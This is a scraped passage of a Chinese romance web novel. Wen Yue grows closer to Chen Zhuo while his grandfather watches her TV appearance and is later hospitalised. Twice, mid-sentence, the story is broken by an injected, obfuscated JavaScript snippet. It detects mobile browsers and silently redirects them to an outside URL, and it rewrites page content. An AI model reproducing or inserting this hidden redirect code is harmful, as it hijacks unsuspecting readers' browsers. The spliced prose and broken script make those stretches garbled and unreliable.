一声悠扬的古琴声从电视里传来,主持人字正腔圆地念着开场白,从中国音乐的历史讲起,娓娓道来,随即镜头就扫向了坐在一桌的嘉宾。 敏姨提醒老爷子:“开始了,那不就是温小姐嘛。” 老爷子迫不及待戴上眼镜,把视线落在屏幕上:“这孩子就是上镜。” 看了一会儿,老爷子就开始打瞌睡,头一点一点的,强打着精神看了一会儿,就让敏姨扶着回房间了。 温月瞅着屏幕里自己一本正经地点评表演嘉宾的样子,尴尬地起身想去拿遥控调低音量。 却感觉沙发的一角兀自塌陷下去,熟悉的气息就这样靠近过来。 温月感觉有些不自在地挪了一下位置,没想到他反而又靠近了一点,把敏姨冲好的感冒冲剂递到了他手里。 温月声音很小:“谢谢你呀。” 陈濯握着自己的杯子和她碰了一下,语气不似平时随意:“是我要谢你。” 温月转头看他,瞥见他领口间隐约露出的一块翠绿。 是她那天送的平安扣,对他来说是不值钱的小玩意儿,他居然还戴在身上。 温月的心跳忽然乱了半拍。 “胆儿还挺大的,敢和老爷子叫板。” “没有。”温月下意识解释,“我就是觉得……对你挺不公平的。” “真的。”温月的不满写在脸上,“爷爷就是有点偏心嘛,这话谁听着都会不高兴。” 她留心过好几次,陈濯每次风尘仆仆地出差回来,老爷子开口几句话和他聊的就是陈熙,和陈濯聊天,关心公司的业务,总是多于关心他的身体。 老爷子偏心眼显而易见,也幸亏陈濯心态好,不怎么在意。 陈濯瞅着她替他有些打抱不平的样子,心头一丁点的滞闷顿时烟消云散,眼里浮现出一丝笑意。 “这不有人偏心我嘛。”他嗓音清落,眸间闪动着细碎的光,“有人偏心我,我很高兴。” 意识到气氛有些不对头,温月微怔,把感冒冲剂一饮而尽,很刻意地转变话题:“你觉得她们给我化的妆是不是有点浓?” 他们看到的是有弹幕的版本,画面切到她和那个叫陆舟的男艺人那里,一会儿“啊啊啊啊啊”“美颜暴击”“和同框的小姐姐是谁”弹幕几乎挡住她的脸。 陈濯很认真地看了两秒:“是有点浓。” 很直男地回答。 温月忽然就放下了心。 “是吧。” 温月手机响了一下,看到洛茜发来的信息。 【洛茜】:我给你的帖子,你验证了没有,我说得到底准不准啊? 温月心不在焉地回复:【一点都不符合好不好!】 就算前面勉强符合,可他刚才还不是毫不犹豫地就说她的妆浓,不符合定理的最后一条:[百分百赞扬crush的相貌]。 这条信息刚发出去,她却听到陈濯接着来了一句。 ——“不过还是挺漂亮的。” “啪嗒”一声,温月吓得手机直接落地。 32. 第三十二吻 直到温月在陈濯的注视下慌不择路地回了房间之后,温月还是没弄明白,陈濯现在到底是什么路数。 她的床头柜上的唱片机,还放着陈濯送她的唱片,温月盯着上面微微晃动的唱臂,脑子里一团乱麻。 并没有立刻的脑子里出现两个天使恶魔形象的小人在她脑海里喋喋不休。 她的想象力如同野马脱缰一样越跑越远,甚至开始在脑海里就“陈濯到底喜不喜欢温月”开始打辩论,她自己又当正方又当反方,开始左右互搏。 只谈过一次恋爱的小菜鸡,自然是什么都想不出来。 她又不愿意再去问洛茜。 她算看透了,洛茜和她就是半斤八两,纯属一个恋爱的狗头军师,净给她出些怪主意。 可她确实想不通,陈濯为什么对她这么好。 她实在不能再用自己算他半个妹妹这种烂理由来欺骗自己。 她是迟钝,但并不是糊涂。 也许刚开始陈濯带她上邮轮,借她名贵的珠宝,给她留下助行的拐杖,还算是他偶一为之的善意,可她从舞台跌落之后,他比陈熙还早赶来看她,还执意在刘薇面前承诺,把她接回家…… 这种蛛丝马迹,她却总是带着私心去忽略。 仅仅是他的责任心使然吗? 可如果说是喜欢,她自己都不信。 或者,他真的把她当作是个很好相处的朋友? 可男女之间,有单纯的友谊吗? 第二天下班的时候,温月顶着遮瑕都盖不住的两个黑眼圈,和李抒在环贸采景的时候,碰上逛街的陈芝芝,把她吓了一跳。 陈芝芝挎着薄荷色的鳄鱼皮Kelly,妆容明艳,和一脸疲惫,头发胡乱扎成丸子头的温月简直形成了鲜明对比。 “这是生病了?”陈芝芝惊讶,“没事吧?” 温月瞅见陈芝芝,锈了一天的脑子忽然灵光一现,眼睛直冒光,把陈芝芝看得直发毛。 反正素材录得差不多了,李抒干脆和温月打了个招呼走了。 陈芝芝则被温月拉着去附近的咖啡厅里,服务员走过来问她们喝什么,陈芝芝点了杯拿铁。 温月:“我随便。” 迎着温月直勾勾的目光,陈芝芝吞了下口水:“温温,我听说你和陈熙分手的事了,你要是心里难受你千万别憋着……” 温月摇摇头:“我不难受,就是最近事堆在一起太忙,累得。” 陈芝芝看她一脸惫意,呆呆愣愣的样子,脸上是一言难尽的表情。 不难受,谁信啊。 “芝芝,我问你个事啊。” 陈芝芝被她这副一反常态的样子吓得不行,连连点头:“你说,只要不涉及我家的商业机密……” 温月尽量问得婉转了一点:“你们家有没有什么商业联姻之类的旧俗啊?” 陈芝芝一愣:“没有啊。” “我们家没那么封建的。”陈芝芝说,“我知道的那些姐姐,好像都是自由恋爱吧。” 温月有些不甘心地继续问:“我说的是男的,你哥。” “我哥……”陈芝芝表情更困惑了,“我哥是独身主义啊……” 她慢半拍地反应过来:“你说的是我大哥吧,陈濯?” 温月连忙点头。 陈芝芝的表情忽然犀利起来:“温温,是不是你看到他身边出现什么神秘女性了……金屋藏娇是不是?” 温月差点把嘴里的咖啡喷出来:“不是。” “我就是好奇,想问问……” 温月顶着陈芝芝怀疑的目光,硬着头皮胡说八道:“这事说起来有点复杂,我就简单说,其实是我有一个朋友,她和陈濯最近业务上有点接触,就觉得他人挺不错的,所以……” 陈芝芝拧着眉头:“所以她觉得我大哥可能喜欢她,不好意思问,然后找你分析,你分析不出来,又问我?” 温月点头:“对!” “这样啊。”陈芝芝恍然大悟:“那你告诉她,放心好了……” “我哥没有联姻对象。” 温月心头一动。 “但他好像是有暗恋的人。” 温月瞪大了眼睛。 陈芝芝用小叉子插起甜品上面的一颗叶子有点蔫的草莓喂进嘴里,语调含糊不清,“所以你放心好了……他很专情的,肯定不会喜欢上别人。” 温月眉头微蹙:“这样啊……” “我跟你说了,你别和别人说啊。”陈芝芝一说起八卦,眼睛兴奋地开始放光:“我也是听我哥说的,好像他当年在国外读研究生的时候,当时他们学院有不少女孩子找他表白,他就很直截了当和人家说,他有喜欢的人了。” 温月还是有点不相信:“是真的吗?” “是真的,你什么时候看到过八卦小报上有他的花边新闻啊?”陈芝芝点点头:“要我说他就是宁缺毋滥呗,也不知道喜欢的是何方大神,连我大哥都瞧不上,要是人家不点头,估计他就单身一辈子了。” 怪不得,那天在结缘树下,他那么虔诚的许愿。 温月有些好奇:“爷爷也不着急吗?” 就算老爷子偏心,平时不多管他,但按照老一辈子人的思维定式,恐怕是很难接受孩子一辈子独身主义的。 更何况他又是融汇集团的接班人。 “好像也闹过吧。”陈芝芝挠挠头,“但是爷爷拗不过他,而且,我觉得他这个人,怎么说好呢……用现在的话来说,有点封心锁爱的那种感觉。” 温月微怔,心里有点说不清道不明的滋味。 似乎是犹豫了片刻,陈芝芝才缓缓开口:“他小时候还挺活泼的,反正不像现在这样,后来老爷子又病了,然后他就退学回来接班了,之后我就觉得他跟变了一个人一样,而且你不知道刚开始外面的话说得多难听,说他命硬,克父母,克亲人什么,你不知道都多难听……” “他也许也忌讳这种话吧,所以越来越偏执。” 温月咽下嘴里的咖啡,口腔里泛起隐隐约约的苦涩。 听到陈芝芝语气里透着几分心疼,“也许他就会一直一个人,一直孤单。” - 港城的雨季,是亚热带显著的高温潮湿,她在家门口收起了伞,总觉得带了股潮湿的气息回家,湿黏可怖。 家中没人,敏姨早晨说了,老爷子要和几个老哥们去聚聚,晚点才回来。 温月回了房间,在电脑里找着顺眼的模板做答辩的PPT。 毕业论文已经按照指导老师的修改意见修了两遍,即将定稿,李抒发信息再三提醒她查重,温月连忙应了。 忙完之后,已经到了晚上,她在手机上定好了下周飞往京 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12817966|125109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 市的飞机票。 订完机票,后知后觉的她才反应过来,居然已经八点了。 她给敏姨发了条信息,没回。 外面一声惊雷,弄得她心里跟着七上八下的忐忑,总觉得像是不吉利的预示。 直到敏姨的回了信息。 【敏姨】:温小姐,老爷子住院了,这两天你自己在家照顾自己吧。 温月一惊,打了电话过去。 听到那边略带急促的呼吸声:“敏姨,怎么回事呀?怎么就晕倒了?陈濯知道吗?” 敏姨的声音有些发抖,“刚抢救了,醒过来了,陈先生已经来看过了。” 温月问了医院地址,是她上次住院的医院,可能是动用了关系,赶到的那片病区几乎没人,只看到站在病房外的几个保镖。 温月几步走过去,脚直发软,就这样被身后的人稳稳地扶了起来。 她转头,望进他深邃的眉眼。 陈濯蹙眉:“别进去,爷爷还睡着。” 温月点点头。 两人坐在走廊的金属座椅上,温月手心潮湿一片。 “爷爷没事吧?” “老毛病。”陈濯声音放得很轻,“短暂性昏厥,就是头摔破了,有点外伤。” 温月长吁了一口气。 过了一会儿,敏姨从病房里出来,看了一眼陈濯。 “陈先生。”敏姨小声说,“您能不能叫个人去给老爷子拿家里的床上用品,这里的他睡不惯。” 温月自告奋勇:“我回去拿吧。” 陈濯皱眉:“你别再去了。” 他低头打了个电话,吩咐了两句,有些疲惫地闭上眼睛。 敏姨见状,提议他俩干脆先去隔壁空着病房休息一会儿,有事再叫他们。 陈濯摇摇头,敏姨也不再坚持。 温月陪他在外面坐到后半夜,医生进进出出的,陈恺和陈芝芝也赶了过来。 温月忍不住打了几个哈欠,被陈濯催着,和陈芝芝在隔壁病房眯了一会儿。 温月睡得极不踏实,最后一次醒来,被透过门缝射进来的走廊灯光刺了一下眼睛。 她一个激灵起来,陈芝芝也被晃了一下,翻了个身,嘟囔着,继续睡了。 温月起身,披上外套往外走,看到走廊里,陈濯低着头,阖上了眼皮,似在假寐。 他一向笔挺整洁的衬衫在座椅上蹭得有些发皱。 温月还没走近,他似有感知般睁开了眼睛。 “你去休息会儿吧。”温月轻声说。 他盯着她看了几秒,忽然开口问她:“你说这算不算是我的报应。” 温月微怔,听到他说:“也许他们说得没错,我是克人的命。” 温月喉间一哽:“你不是。” 他缓缓从钱夹里拿出一张有些发旧的纸条:“抽签都是下下签。” 他垂眸,语气分明是失落的戏谑。 “不是!”温月鼻尖一酸,蓦地扯住他的领口,动作甚至有些粗野。 他脖子上戴的那粒平安扣露了出来。 “那就别让他们如意。” 陈濯目光追随着她的动作,没说话。 “你那天不是没对平安扣许愿吗?我帮你许。” 温月的语气罕见的强势:“我偏要你万事如意,岁岁平安。” 33. 第三十三吻 她不知道自己的安慰是不是有效,但好歹陈濯算是听进去了。 陈濯沉默了片刻,还是就近找个病房,好歹勉强休息了一会儿,没有通宵熬着。 翌日清晨,程松来她们门口敲门,过来帮她们送来了早饭。 温月把陈芝芝叫醒,两个人随便吃了两口,就听程松说,老爷子的检查结果出来了。 温月跟着程松出去,顾问医生带了一帮医生过来查房。 老爷子包扎好了伤口,输完了一组盐水,还在昏睡。 “陈先生,外伤不严重,现在这种情况,观察两天可以先出院了。”顾问医生推了推眼镜,“但是其他的问题,像之前我和你说过的胶质瘤,最好还是引起重视。” 说着,他拿出手机,点了几下,递给陈濯,“其实在LA有几家诊所……” 陈濯瞥了温月一眼,温月没应声,自觉走了出来,回了隔壁的空闲病房。 陈恺回公司开会了,留下陈芝芝在隔壁病房坐着,无精打采。 温月走过去,陈芝芝连忙抬头问她:“没事吧?” 温月摇摇头:“没什么大事,医生先吊点盐水就行了。” 陈芝芝松了一口气:“那就好,我一会儿给我哥回个电话,我妈早上还从LA打来个电话来问怎么回事,快担心死了……” 温月叹了口气,躺在床上歇了一会儿,先给林凤请了个假,告诉她今天先不去工作室了。 在手机上搜了“胶质瘤晚期”“治疗”几个词,关联出来的信息映入眼帘,其中有一条症状就是昏睡。 想到病房里昏睡一整晚的老爷子,她心里忽然“咯噔”一下。 温月喝了口水,咽下浮动着莫名的不安。 《大国古乐》的编导琳达发了个信息,提醒她周六去录制下一期节目,她回了个“收到”,在网上搜了搜节目的剪辑,居然诡异地有几个带着她和陆舟的tag的短视频,播放量不高不低,最高的一个在十几万左右,温月瞧着奇怪,又不敢问。 想了一下,她发给了林聆。 林聆回复得很干脆:【就是炒CP,别管。】 温月还是不明白,厚着脸皮又问了一句原因。 毕竟她就是一个小博主,也说不上是什么明星。 林聆发来了一句语音解释,“他们公司惯用的手段啊,估计是看有点苗头,就弄个账号给自家人家艺人强行拉个CP,其实那个男艺人自己可能都不愿意。” “当然也可能不是公司,也许小粉丝喜欢,剪的视频给自家艺人引流之类的。” “如果说他们公司私底下和你提炒CP的话,你再和我说。”林聆很热情,“一般应该也不会,别太担心。” 她说得明白,温月放下了心。 她们在这歇了一会儿,外面陆陆续续地传来动静。 温月探头看了一眼,有些看着眼熟,是家里的亲戚,还有一些看年纪是老爷子的故交。 陈芝芝不免出去打了个招呼。 过了一会儿,敏姨过来叫温月,说老爷子醒了。 温月立刻站起:“我现在能不能过去看看他?” 敏姨点点头:“陈先生在那边守着呢,您跟我过去就行了。” 她套了件外套,跟着敏姨到了病房。 陈濯果然守在病床前,依然穿着昨晚那件白衬衫,有些皱巴巴的,但依旧端得一副清冷矜贵的模样,拿着水果刀给老爷子削苹果。 靠在病房床上的老爷子的气色不错,就是语气颇为嫌弃:“别削了,苹果皮有一尺厚。” 说是这么说,老爷子还是伸出手颤颤巍巍地接过陈濯递过来的苹果,吃了两口:“小月,坐过来点。” 温月顺势坐在了陈濯旁边:“您好受点了吗?” 老爷子不以为然摆摆手:“不是什么大毛病,我听陈濯说你还守了一夜,辛苦你了。” 温月摇摇头:“没事儿,我和领导请假了。” 老爷子很倔:“听话,下午回去歇会儿,我听陈濯说你不是还要参加什么毕业答辩嘛,快回去,你别惹我这个老头子担心啊。” “我这不缺人照顾。”老爷子咳嗽了一声,“你们这些孩子,好好的,我就好了,放心了。” 陈濯胳膊碰她一下:“你就听爷爷的吧。” 温月挪开了胳膊,只好答应:“行,我听您的,等过两天放假我再来陪您。” 护工过来了,她帮着护工把老爷子慢慢扶了起来,老爷子顺口问了一句:“陈熙不知道吧?” 温月一愣,没反应过来这句话问的是谁。 陈濯反应很快:“没让他知道。” “不知道就好。”老爷子说,“他急哄哄的,再出点什么事。” “最近那小子没和你闹脾气吧?小月。”老爷子问她,“这臭小子也不给我打了电话,是不是你们又闹矛盾了。” 温月不知道陈熙有没有和老爷子透露他俩分手的消息,生怕说错两句把老爷子刺激个好歹,眼睛都不敢看他,“没有……” 老爷子皱眉:“要真的有,你就和我说,我给你做主。” 温月忍不住有点心虚:“真没有。” “人家小两口就吵个架,小姑娘不好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12823324|125109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意思说,您就甭问她了。”陈濯忽然开口给她解围,“再说,他俩这么大了,不用您操心了。” 她听出端倪来,先连忙应着:“爷爷,您放心吧。” 陈濯站在他对面,冲她眨了下眼。 莫名的俏皮,又带着点安抚的意味。 温月心领神会:“我回去好好和他说,绝对不和他吵架了,不让您担心了。” “那就好,好孩子。”老爷子感叹,“你们俩什么时候订婚,我就放心了。” 温月讪讪,话还不知道怎么接,就听到老爷子转头催陈濯:“你也是,你什么时候也找个对象,老让我操心……” 陈濯面上波澜不惊地应付:“快了,您等信吧。” “我这辈子估计都等不到了。”老爷子的唠叨被进来的查房医生打断。 敏姨和护工扶着他出去检查了,他不忘吩咐陈濯,“你送小月走。” 温月应了一声:“要不我再陪您一会儿?” 她目光刚从老爷子那里收回来,就被陈濯握住了手腕,拽着往外走。 酥酥麻麻的触感,温月觉得别扭,想要甩开。 陈濯压低声音:“再不走,等一会儿逼问你露馅了,我可不管了。” 温月脸色一变,立马反应过来事情的严重性:“快走。” 两人意见出奇地一致,温月让陈濯等一下,连忙去隔壁病房拿包,出来就碰上溜达着回来陈芝芝:“大哥,温温……” 见她要走,陈芝芝一头雾水:“爷爷都检查回来了,你们走什么?” 温月彻底慌了,拽上陈濯:“快跑!” 直接留下在原地错愕的陈芝芝。 陈濯被她牵着手,长腿两步迈上,跟上她的步伐,一路跟着她走到电梯边,进电梯,帮她按了电梯键,动作不疾不徐,跟她一脸惊慌形成了鲜明对比。 她今天还穿了双高跟鞋,就这么拽着他一路跟逃跑一样跌跌撞撞地逃到医院门口。 温月气都没喘匀,迎着几个路人诧异的眼光,她才后知后觉地感觉到异样。 掌心的温热混杂着湿润,她手心潮湿,连忙松开了手,“吓死我了。” 心跳地开始加速,她下意识归咎为刚才的快跑下的生理反应,而非其他。 “至于嘛。”她听到身边人的一声轻笑,“你知道别人刚才看咱们,跟看笑话一样。” “是挺像的。” 温月忽略心头的不明不白的情愫,故作镇定地开着玩笑:“像两个逃难的是吧。” “不像。” “像两个逃婚的还差不多。”